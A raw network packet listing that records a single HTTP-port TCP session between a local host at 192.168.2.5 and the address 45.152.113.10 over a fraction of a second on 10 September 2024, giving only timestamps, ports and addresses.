Sep 10, 2024 19:36:09.240430117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240438938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240449905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240456104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240461111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240468979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240473032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240483046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240487099 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240493059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240506887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240510941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240519047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240528107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240531921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240539074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240545034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240569115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240572929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240583897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240592003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240595102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240612984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240617990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240626097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240629911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240642071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240660906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240679979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240705967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240720987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240731001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240741014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240751028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240751982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240761995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240771055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240776062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240787029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240788937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240808010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240808964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240819931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240827084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240837097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240855932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240863085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240874052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240892887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240900993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240911007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240912914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240923882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240928888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240952015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240982056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.240989923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.240999937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241009951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241019964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241029978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241039991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241061926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241067886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241074085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241084099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241086960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241094112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241105080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241111994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241141081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241180897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241219044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241228104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241231918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241269112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241302013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241313934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241324902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241343021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241360903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241491079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241542101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241676092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241688967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241698980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241708994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241719007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241729021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241736889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241739988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241758108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241770029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241815090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241827011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241837025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241846085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241856098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.241861105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241878986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241895914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.241991997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242003918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242012978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242022991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242033005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242042065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.242053986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.242075920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.242167950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242178917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242187977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242198944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242208958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242218018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.242219925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242235899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242238998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.242244959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.242247105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242258072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242276907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.242283106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.242289066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242300034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242311001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.242336035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.242347002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.325505018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.325700045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.325702906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.325891972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.326648951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.326817036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.326833963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.326847076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.326858997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.326869965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.326879978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.326891899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.326900005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.326957941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.326982975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327027082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327182055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327193975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327203989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327215910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327225924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327229977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327236891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327246904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327258110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327260971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327269077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327280998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327280998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327300072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327326059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327349901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327361107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327370882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327380896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327399969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327406883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327426910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327446938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327542067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327553988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327564955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327574968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327584028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327589035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327594995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327600956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327605963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327616930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327627897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327634096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327639103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327650070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327661037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327661037 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327671051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327682018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327699900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327713013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327717066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327728987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327738047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327749014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327759027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327769041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327769995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327779055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327788115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327796936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327800035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327810049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327816010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327821016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327831030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327841043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327848911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327872992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327883959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327902079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327914000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327924967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327935934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327945948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327950001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.327958107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327967882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.327980042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328001976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328079939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328092098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328107119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328144073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328144073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328279018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328289986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328299999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328310013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328320980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328330040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328330040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328340054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328347921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328352928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328363895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328366041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328375101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328385115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328391075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328396082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328407049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328418016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328423023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328428984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328438997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328442097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328449011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328459978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328463078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328470945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328489065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328507900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328521013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328648090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328659058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328669071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328679085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328690052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328701973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328711987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328720093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328723907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328735113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328744888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328757048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328758955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328773022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328793049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328814983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328828096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328838110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328847885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328856945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328859091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328870058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328880072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328887939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328891993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328902960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328913927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328917027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328936100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328959942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.328984022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.328994989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.329005003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.329016924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.329027891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.329029083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.329039097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.329049110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.329051018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.329078913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.329092026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.329173088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.329186916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.329195976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.329217911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.329231024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.329351902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.329364061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.329374075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.329396963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.329408884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.412245989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412271976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412292004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412302971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412313938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412326097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412338018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412348032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412440062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412450075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412461996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412472963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412484884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412560940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.412560940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.412560940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.412560940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.412560940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.412569046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412580967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412590981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412609100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412621975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412632942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412643909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412653923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412659883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412667036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.412678957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.412678957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.412678957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.412719011 CEST	80	49707	45.152.113.10	192.168.2.5
